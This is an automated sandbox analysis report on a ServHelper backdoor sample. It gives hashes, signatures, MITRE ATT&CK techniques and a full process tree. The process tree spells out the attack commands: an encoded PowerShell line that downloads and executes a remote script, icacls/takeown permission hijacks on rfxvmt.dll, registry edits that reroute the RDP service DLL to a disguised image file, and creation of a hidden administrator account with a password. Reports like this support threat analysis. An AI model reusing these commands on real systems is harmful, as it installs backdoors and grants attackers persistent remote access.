servhelper | ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d

Target

472208d7ba18d4c14b7e90b9db5d6feb.exe
Size

5.9MB
MD5

472208d7ba18d4c14b7e90b9db5d6feb
SHA1

ff24cc43998ff99e61b1a838e1d51c4888498935
SHA256

ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d
SHA512

9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	1176	powershell.exe
12	1176	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1352	icacls.exe
1324	icacls.exe
320	icacls.exe
1584	takeown.exe
1676	icacls.exe
1964	icacls.exe
1396	icacls.exe
844	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0005000000012f1a-130.dat	upx
behavioral1/files/0x0004000000012f1b-131.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
844	Process not Found
844	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1584	takeown.exe
1676	icacls.exe
1964	icacls.exe
1396	icacls.exe
844	icacls.exe
1352	icacls.exe
1324	icacls.exe
320	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KB6Y95K1TRVJZ3LP0BBS.temp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0a4dfb417a0d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1636	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
588	powershell.exe
560	powershell.exe
1160	powershell.exe
792	powershell.exe
588	powershell.exe
588	powershell.exe
588	powershell.exe
1176	powershell.exe

Suspicious behavior: LoadsDriver 59 IoCs

pid	Process
464	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found
844	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1996	472208d7ba18d4c14b7e90b9db5d6feb.exe
Token: SeDebugPrivilege	588	powershell.exe
Token: SeDebugPrivilege	560	powershell.exe
Token: SeDebugPrivilege	1160	powershell.exe
Token: SeDebugPrivilege	792	powershell.exe
Token: SeRestorePrivilege	1964	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1724	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1724	WMIC.exe
Token: SeAuditPrivilege	1724	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1724	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1724	WMIC.exe
Token: SeAuditPrivilege	1724	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1188	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1188	WMIC.exe
Token: SeAuditPrivilege	1188	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1188	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1188	WMIC.exe
Token: SeAuditPrivilege	1188	WMIC.exe
Token: SeDebugPrivilege	1176	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1996 wrote to memory of 588	1996	472208d7ba18d4c14b7e90b9db5d6feb.exe	31
PID 1996 wrote to memory of 588	1996	472208d7ba18d4c14b7e90b9db5d6feb.exe	31
PID 1996 wrote to memory of 588	1996	472208d7ba18d4c14b7e90b9db5d6feb.exe	31
PID 588 wrote to memory of 1056	588	powershell.exe	33
PID 588 wrote to memory of 1056	588	powershell.exe	33
PID 588 wrote to memory of 1056	588	powershell.exe	33
PID 1056 wrote to memory of 936	1056	csc.exe	34
PID 1056 wrote to memory of 936	1056	csc.exe	34
PID 1056 wrote to memory of 936	1056	csc.exe	34
PID 588 wrote to memory of 560	588	powershell.exe	35
PID 588 wrote to memory of 560	588	powershell.exe	35
PID 588 wrote to memory of 560	588	powershell.exe	35
PID 588 wrote to memory of 1160	588	powershell.exe	37
PID 588 wrote to memory of 1160	588	powershell.exe	37
PID 588 wrote to memory of 1160	588	powershell.exe	37
PID 588 wrote to memory of 792	588	powershell.exe	39
PID 588 wrote to memory of 792	588	powershell.exe	39
PID 588 wrote to memory of 792	588	powershell.exe	39
PID 588 wrote to memory of 1584	588	powershell.exe	41
PID 588 wrote to memory of 1584	588	powershell.exe	41
PID 588 wrote to memory of 1584	588	powershell.exe	41
PID 588 wrote to memory of 1676	588	powershell.exe	42
PID 588 wrote to memory of 1676	588	powershell.exe	42
PID 588 wrote to memory of 1676	588	powershell.exe	42
PID 588 wrote to memory of 1964	588	powershell.exe	43
PID 588 wrote to memory of 1964	588	powershell.exe	43
PID 588 wrote to memory of 1964	588	powershell.exe	43
PID 588 wrote to memory of 1396	588	powershell.exe	44
PID 588 wrote to memory of 1396	588	powershell.exe	44
PID 588 wrote to memory of 1396	588	powershell.exe	44
PID 588 wrote to memory of 844	588	powershell.exe	45
PID 588 wrote to memory of 844	588	powershell.exe	45
PID 588 wrote to memory of 844	588	powershell.exe	45
PID 588 wrote to memory of 1352	588	powershell.exe	46
PID 588 wrote to memory of 1352	588	powershell.exe	46
PID 588 wrote to memory of 1352	588	powershell.exe	46
PID 588 wrote to memory of 1324	588	powershell.exe	47
PID 588 wrote to memory of 1324	588	powershell.exe	47
PID 588 wrote to memory of 1324	588	powershell.exe	47
PID 588 wrote to memory of 320	588	powershell.exe	48
PID 588 wrote to memory of 320	588	powershell.exe	48
PID 588 wrote to memory of 320	588	powershell.exe	48
PID 588 wrote to memory of 1516	588	powershell.exe	49
PID 588 wrote to memory of 1516	588	powershell.exe	49
PID 588 wrote to memory of 1516	588	powershell.exe	49
PID 588 wrote to memory of 1636	588	powershell.exe	50
PID 588 wrote to memory of 1636	588	powershell.exe	50
PID 588 wrote to memory of 1636	588	powershell.exe	50
PID 588 wrote to memory of 1600	588	powershell.exe	51
PID 588 wrote to memory of 1600	588	powershell.exe	51
PID 588 wrote to memory of 1600	588	powershell.exe	51
PID 588 wrote to memory of 1812	588	powershell.exe	52
PID 588 wrote to memory of 1812	588	powershell.exe	52
PID 588 wrote to memory of 1812	588	powershell.exe	52
PID 1812 wrote to memory of 936	1812	net.exe	53
PID 1812 wrote to memory of 936	1812	net.exe	53
PID 1812 wrote to memory of 936	1812	net.exe	53
PID 588 wrote to memory of 1580	588	powershell.exe	54
PID 588 wrote to memory of 1580	588	powershell.exe	54
PID 588 wrote to memory of 1580	588	powershell.exe	54
PID 1580 wrote to memory of 1192	1580	cmd.exe	55
PID 1580 wrote to memory of 1192	1580	cmd.exe	55
PID 1580 wrote to memory of 1192	1580	cmd.exe	55
PID 1192 wrote to memory of 1684	1192	cmd.exe	56

C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe
"C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:588
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zzulzwbo.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1056
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1047.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC1046.tmp"
      4⤵
      PID:936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:792
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1584
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1676
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1964
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1396
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:844
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1352
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1324
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:320
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1516
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1636
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1600
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1812
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:936
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1580
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1192
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1684
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1584
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1676
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1092
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1956
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1380
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1092
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:780

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:316
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1700
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1600

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc iBs6lfst /add
1⤵
PID:2012
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc iBs6lfst /add
  2⤵
  PID:1812
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc iBs6lfst /add
    3⤵
    PID:1696

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1192
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1708
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:780

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" KJUCCLUP$ /ADD
1⤵
PID:880
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" KJUCCLUP$ /ADD
  2⤵
  PID:676
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" KJUCCLUP$ /ADD
    3⤵
    PID:1704

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1360
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1776
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1628

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc iBs6lfst
1⤵
PID:936
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc iBs6lfst
  2⤵
  PID:1524
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc iBs6lfst
    3⤵
    PID:456

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:676
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1724

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1696
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1188

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1396
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1176

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes
1⤵
PID:1692
- C:\Windows\system32\net.exe
  net user wgautilacc 111213
  2⤵
  PID:1168
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 111213
    3⤵
    PID:2004
- C:\Windows\system32\net.exe
  net user wgautilacc /active:yes
  2⤵
  PID:2036
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc /active:yes
    3⤵
    PID:912

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/560-83-0x0000000002642000-0x0000000002644000-memory.dmp

Filesize
8KB

Download
memory/560-84-0x0000000002644000-0x0000000002647000-memory.dmp

Filesize
12KB

Download
memory/560-90-0x000000000264C000-0x000000000266B000-memory.dmp

Filesize
124KB

Download
memory/560-81-0x000000001B7C0000-0x000000001BABF000-memory.dmp

Filesize
3.0MB

Download
memory/560-82-0x0000000002640000-0x0000000002642000-memory.dmp

Filesize
8KB

Download
memory/560-85-0x0000000002647000-0x0000000002648000-memory.dmp

Filesize
4KB

Download
memory/560-80-0x000007FEEB060000-0x000007FEEBBBD000-memory.dmp

Filesize
11.4MB

Download
memory/588-62-0x00000000023F2000-0x00000000023F4000-memory.dmp

Filesize
8KB

Download
memory/588-63-0x00000000023F4000-0x00000000023F7000-memory.dmp

Filesize
12KB

Download
memory/588-76-0x000000000241D000-0x000000000241E000-memory.dmp

Filesize
4KB

Download
memory/588-61-0x00000000023F0000-0x00000000023F2000-memory.dmp

Filesize
8KB

Download
memory/588-60-0x000007FEEB060000-0x000007FEEBBBD000-memory.dmp

Filesize
11.4MB

Download
memory/588-59-0x000007FEFBBC1000-0x000007FEFBBC3000-memory.dmp

Filesize
8KB

Download
memory/588-67-0x00000000023FB000-0x000000000241A000-memory.dmp

Filesize
124KB

Download
memory/792-107-0x0000000002657000-0x0000000002658000-memory.dmp

Filesize
4KB

Download
memory/792-102-0x000000001B950000-0x000000001BC4F000-memory.dmp

Filesize
3.0MB

Download
memory/792-106-0x0000000002654000-0x0000000002657000-memory.dmp

Filesize
12KB

Download
memory/792-105-0x0000000002652000-0x0000000002654000-memory.dmp

Filesize
8KB

Download
memory/792-104-0x000000000265C000-0x000000000267B000-memory.dmp

Filesize
124KB

Download
memory/792-103-0x0000000002650000-0x0000000002652000-memory.dmp

Filesize
8KB

Download
memory/792-101-0x000007FEEB060000-0x000007FEEBBBD000-memory.dmp

Filesize
11.4MB

Download
memory/1056-75-0x00000000020D0000-0x00000000020D2000-memory.dmp

Filesize
8KB

Download
memory/1160-92-0x0000000002820000-0x0000000002822000-memory.dmp

Filesize
8KB

Download
memory/1160-93-0x0000000002822000-0x0000000002824000-memory.dmp

Filesize
8KB

Download
memory/1160-95-0x0000000002824000-0x0000000002827000-memory.dmp

Filesize
12KB

Download
memory/1160-96-0x0000000002827000-0x0000000002828000-memory.dmp

Filesize
4KB

Download
memory/1160-91-0x000000001B8F0000-0x000000001BBEF000-memory.dmp

Filesize
3.0MB

Download
memory/1160-89-0x000007FEEB060000-0x000007FEEBBBD000-memory.dmp

Filesize
11.4MB

Download
memory/1160-94-0x000000000282C000-0x000000000284B000-memory.dmp

Filesize
124KB

Download
memory/1176-151-0x00000000011D2000-0x00000000011D4000-memory.dmp

Filesize
8KB

Download
memory/1176-153-0x00000000011DB000-0x00000000011FA000-memory.dmp

Filesize
124KB

Download
memory/1176-152-0x00000000011D4000-0x00000000011D7000-memory.dmp

Filesize
12KB

Download
memory/1176-149-0x000007FEEB060000-0x000007FEEBBBD000-memory.dmp

Filesize
11.4MB

Download
memory/1176-150-0x00000000011D0000-0x00000000011D2000-memory.dmp

Filesize
8KB

Download
memory/1996-56-0x00000000411B6000-0x00000000411B7000-memory.dmp

Filesize
4KB

Download
memory/1996-57-0x00000000411B7000-0x00000000411B8000-memory.dmp

Filesize
4KB

Download
memory/1996-52-0x0000000041650000-0x0000000041A70000-memory.dmp

Filesize
4.1MB

Download
memory/1996-54-0x00000000411B2000-0x00000000411B4000-memory.dmp

Filesize
8KB

Download
memory/1996-55-0x00000000411B4000-0x00000000411B6000-memory.dmp

Filesize
8KB

Download